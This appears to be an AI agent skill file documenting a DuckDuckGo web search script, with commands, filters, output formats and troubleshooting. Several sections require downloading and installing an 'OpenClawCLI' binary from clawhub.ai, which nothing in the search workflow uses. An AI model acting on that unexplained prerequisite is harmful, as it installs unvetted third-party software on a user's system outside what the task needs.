web-search-hub

name

web-search-hub

description

Use this skill when users need to search the web for information, news, images, or videos. Triggers include: requests to \"search for\", \"find information about\", \"look up\", \"what's the latest on\", or any request requiring current web content. Also use for research tasks, fact-checking, finding visual resources, or gathering recent news. Requires OpenClawCLI installation from clawhub.ai. Do NOT use when Claude's built-in web_search tool is more appropriate for simple queries.

Web Search Hub

Search the web using DuckDuckGo's API. Supports web pages, news articles, images, and videos with customizable filtering and output formats.

⚠️ Prerequisite: Install OpenClawCLI (Windows, MacOS) and run pip install duckduckgo-search

Installation Best Practices:

• If you encounter permission errors, use a virtual environment instead of system-wide installation
• For virtual environment: python -m venv venv && source venv/bin/activate && pip install duckduckgo-search
• Never use --break-system-packages as it can damage your system's Python installation

---

Quick Reference

Task	Command
Basic web search	python scripts/search.py "query"
Recent news	python scripts/search.py "topic" --type news --time-range w
Find images	python scripts/search.py "subject" --type images
Find videos	python scripts/search.py "tutorial" --type videos
Save results	python scripts/search.py "query" --output file.txt
JSON output	python scripts/search.py "query" --format json

---

Core Search Types

Web Search (Default)

Returns web pages with titles, URLs, and descriptions.

python scripts/search.py "quantum computing"
python scripts/search.py "python asyncio tutorial" --max-results 20

News Search

Returns articles with source, date, and summary.

python scripts/search.py "climate summit" --type news
python scripts/search.py "AI regulation" --type news --time-range d

Image Search

Returns images with URLs, thumbnails, dimensions, and source.

python scripts/search.py "mountain sunset" --type images
python scripts/search.py "abstract art" --type images --image-color Blue

Video Search

Returns videos with title, publisher, duration, date, and URL.

python scripts/search.py "cooking tutorial" --type videos
python scripts/search.py "documentary" --type videos --video-duration long

---

Essential Options

Result Count

--max-results N    # Default: 10, range: 1-unlimited

Examples:

python scripts/search.py "machine learning" --max-results 5   # Quick overview
python scripts/search.py "research topic" --max-results 30    # Comprehensive

Time Filtering

--time-range <d|w|m|y>
# d = past day
# w = past week  
# m = past month
# y = past year

Examples:

python scripts/search.py "tech news" --time-range d      # Today's news
python scripts/search.py "research papers" --time-range y # Recent publications

Region Selection

--region <code>    # Default: wt-wt (worldwide)

Common codes: us-en, uk-en, ca-en, au-en, de-de, fr-fr

Example:

python scripts/search.py "local events" --region us-en --type news

Safe Search

--safe-search <on|moderate|off>    # Default: moderate

Example:

python scripts/search.py "medical information" --safe-search on

---

Output Formats

Text (Default)

Clean, numbered results with URLs and descriptions.

python scripts/search.py "topic"

Output:

1. Page Title
   URL: https://example.com
   Description text here...

2. Next Result
   URL: https://example.com/page
   Description text...

Markdown

Formatted with headers, bold, and links.

python scripts/search.py "topic" --format markdown

Output:

## 1. Page Title

**URL:** https://example.com

Description text here...

JSON

Structured data for programmatic processing.

python scripts/search.py "topic" --format json

Output:

[
  {
    "title": "Page Title",
    "href": "https://example.com",
    "body": "Description text..."
  }
]

Save to File

--output <filepath>

Examples:

python scripts/search.py "AI trends" --output results.txt
python scripts/search.py "news" --type news --format markdown --output news.md
python scripts/search.py "data" --format json --output data.json

---

Image Search Filters

Size

--image-size <Small|Medium|Large|Wallpaper>

Example:

python scripts/search.py "landscape" --type images --image-size Large

Color

--image-color <color|Monochrome|Red|Orange|Yellow|Green|Blue|Purple|Pink|Brown|Black|Gray|Teal|White>

Example:

python scripts/search.py "abstract art" --type images --image-color Blue

Type

--image-type <photo|clipart|gif|transparent|line>

Example:

python scripts/search.py "icons" --type images --image-type transparent

Layout

--image-layout <Square|Tall|Wide>

Example:

python scripts/search.py "wallpaper" --type images --image-layout Wide

---

Video Search Filters

Duration

--video-duration <short|medium|long>

Example:

python scripts/search.py "recipe" --type videos --video-duration short

Resolution

--video-resolution <high|standard>

Example:

python scripts/search.py "tutorial" --type videos --video-resolution high

---

Common Workflows

Research a Topic

Gather comprehensive information across multiple search types:

# Web overview
python scripts/search.py "machine learning" --max-results 15 --output ml_web.txt

# Recent news
python scripts/search.py "machine learning" --type news --time-range m --output ml_news.txt

# Tutorial videos
python scripts/search.py "machine learning tutorial" --type videos --output ml_videos.txt

# Visual examples
python scripts/search.py "machine learning diagrams" --type images --max-results 20 --output ml_images.txt

Track Current Events

Monitor breaking news on specific topics:

python scripts/search.py "election results" --type news --time-range d --format markdown --output daily_news.md

Find Visual Resources

Search for images with specific requirements:

python scripts/search.py "data visualization" --type images --image-type photo --image-size Large --max-results 30 --output viz_images.txt

Fact-Check Information

Verify claims with recent sources:

python scripts/search.py "claim to verify" --time-range w --max-results 20 --output verification.txt

Market Research

Gather business intelligence:

python scripts/search.py "electric vehicle market 2025" --max-results 25 --output market_overview.txt
python scripts/search.py "EV industry" --type news --time-range m --output market_news.txt

Academic Research

Find scholarly resources:

python scripts/search.py "quantum entanglement" --time-range y --max-results 30 --format markdown --output research.md

---

Implementation Guidelines

When users request web searches, follow this approach:

1. Identify Intent

• What content type? (web, news, images, videos)
• How recent? (use --time-range for current info)
• How many results? (adjust --max-results)
• Any special filters? (size, color, duration, etc.)

2. Configure Search

python scripts/search.py "query" \
  --type <web|news|images|videos> \
  --max-results <N> \
  --time-range <d|w|m|y> \
  [additional filters]

3. Choose Format

• Text: Quick reading, immediate review
• Markdown: Documentation, formatted reports
• JSON: Further processing, automation

4. Execute and Process

# Run search
python scripts/search.py "query" [options] --output results.txt

# Read results if needed
cat results.txt

# Extract URLs or combine multiple searches

---

Best Practices

Search Strategy

1. Start specific - Use clear, targeted queries
2. Use time filters - Apply --time-range for current topics
3. Adjust result count - Start with 10-20, increase if needed
4. Choose right type - News for current events, web for general info

Output Management

1. Save important searches - Use --output to preserve results
2. Use appropriate format - JSON for automation, markdown for docs
3. Organize files - Create folders for multi-search research

API Usage

1. Avoid rapid requests - Space out searches to prevent rate limiting
2. Be efficient - Use filters to get better results with fewer searches
3. Respect limits - Don't hammer the API unnecessarily

---

Troubleshooting

Installation Issues

"Missing required dependency"

# Standard installation
pip install duckduckgo-search

# If you get permission errors, use a virtual environment
python -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install duckduckgo-search

Important: Never use --break-system-packages flag as it can corrupt your system's Python installation. Always use virtual environments for isolated package management.

"OpenClawCLI not found"

• Download from https://clawhub.ai/
• Install for your OS (Windows/MacOS)
• Verify installation: openclaw --version

Search Issues

"No results found"

• Broaden search terms
• Remove time filters
• Try different query phrasing

"Timeout errors"

• DuckDuckGo service may be temporarily unavailable
• Wait a moment and retry
• Check internet connection

"Unexpected results"

• DuckDuckGo results differ from Google
• Refine query with more specific terms
• Try adding context to the query

Rate Limiting

"Too many requests"

• Space out searches (wait 1-2 seconds between requests)
• Reduce frequency if making automated searches
• Consider batching queries instead of individual requests

---

Advanced Usage

Combining Multiple Searches

Build comprehensive research by combining search types:

# Create research folder
mkdir research

# Gather all content types
python scripts/search.py "topic" --max-results 20 --output research/web.txt
python scripts/search.py "topic" --type news --time-range m --output research/news.txt  
python scripts/search.py "topic" --type images --max-results 30 --output research/images.txt
python scripts/search.py "topic" --type videos --max-results 15 --output research/videos.txt

Programmatic Processing

Use JSON for automated workflows:

# Get JSON data
python scripts/search.py "research query" --format json --output data.json

# Process with custom script
python analyze_results.py data.json

Building Knowledge Bases

Create searchable documentation:

mkdir knowledge-base

# Search related topics
python scripts/search.py "topic1" --format markdown --output knowledge-base/topic1.md
python scripts/search.py "topic2" --format markdown --output knowledge-base/topic2.md
python scripts/search.py "topic3" --format markdown --output knowledge-base/topic3.md

---

Limitations

Search Capabilities

• Results depend on DuckDuckGo's index (may differ from Google)
• No advanced operators (no site:, filetype:, etc.)
• Image/video results may be limited compared to web search
• No control over ranking algorithms

Content Access

• Cannot access paywalled content
• Some sites may block DuckDuckGo crawler
• Dynamic JavaScript content may not be indexed
• Real-time data may have slight delays

API Constraints

• Rate limiting applies to prevent abuse
• No guaranteed uptime or availability
• Results may vary by region and time
• Some queries may be filtered for safety

---

Complete Command Reference

python scripts/search.py "<query>" [OPTIONS]

REQUIRED:
  query              Search query string (in quotes)

SEARCH TYPE:
  -t, --type         web|news|images|videos (default: web)

RESULTS:
  -n, --max-results  Maximum results (default: 10)
  --time-range       d|w|m|y (day, week, month, year)
  -r, --region       Region code (default: wt-wt)
  --safe-search      on|moderate|off (default: moderate)

OUTPUT:
  -f, --format       text|markdown|json (default: text)
  -o, --output       Save to file path

IMAGE FILTERS:
  --image-size       Small|Medium|Large|Wallpaper
  --image-color      color|Monochrome|Red|Orange|Yellow|Green|Blue|Purple|Pink|Brown|Black|Gray|Teal|White
  --image-type       photo|clipart|gif|transparent|line
  --image-layout     Square|Tall|Wide

VIDEO FILTERS:
  --video-duration   short|medium|long
  --video-resolution high|standard

HELP:
  --help             Show all options and usage examples

---

Examples by Use Case

Quick Searches

# Simple query
python scripts/search.py "python tutorials"

# Get more results
python scripts/search.py "python tutorials" --max-results 25

Current Events

# Today's news
python scripts/search.py "AI developments" --type news --time-range d

# This week's headlines
python scripts/search.py "technology" --type news --time-range w --max-results 30

Visual Content

# Find photos
python scripts/search.py "nature photography" --type images --image-type photo

# Specific color scheme
python scripts/search.py "office design" --type images --image-color Blue --image-size Large

# Transparent icons
python scripts/search.py "social media icons" --type images --image-type transparent

Video Content

# Short tutorials
python scripts/search.py "quick recipe" --type videos --video-duration short

# High-quality documentaries
python scripts/search.py "space documentary" --type videos --video-resolution high --video-duration long

Saved Research

# Create research report
python scripts/search.py "climate change solutions" --max-results 30 --format markdown --output climate_report.md

# Gather news archive
python scripts/search.py "tech industry" --type news --time-range m --format json --output tech_news.json

---

Support

For issues or questions:

1. Check this documentation for solutions
2. Run python scripts/search.py --help for command-line help
3. Verify OpenClawCLI installation at https://clawhub.ai/
4. Ensure duckduckgo-search library is installed

Key Resources:

• OpenClawCLI: https://clawhub.ai/
• DuckDuckGo Search Library: https://pypi.org/project/duckduckgo-search/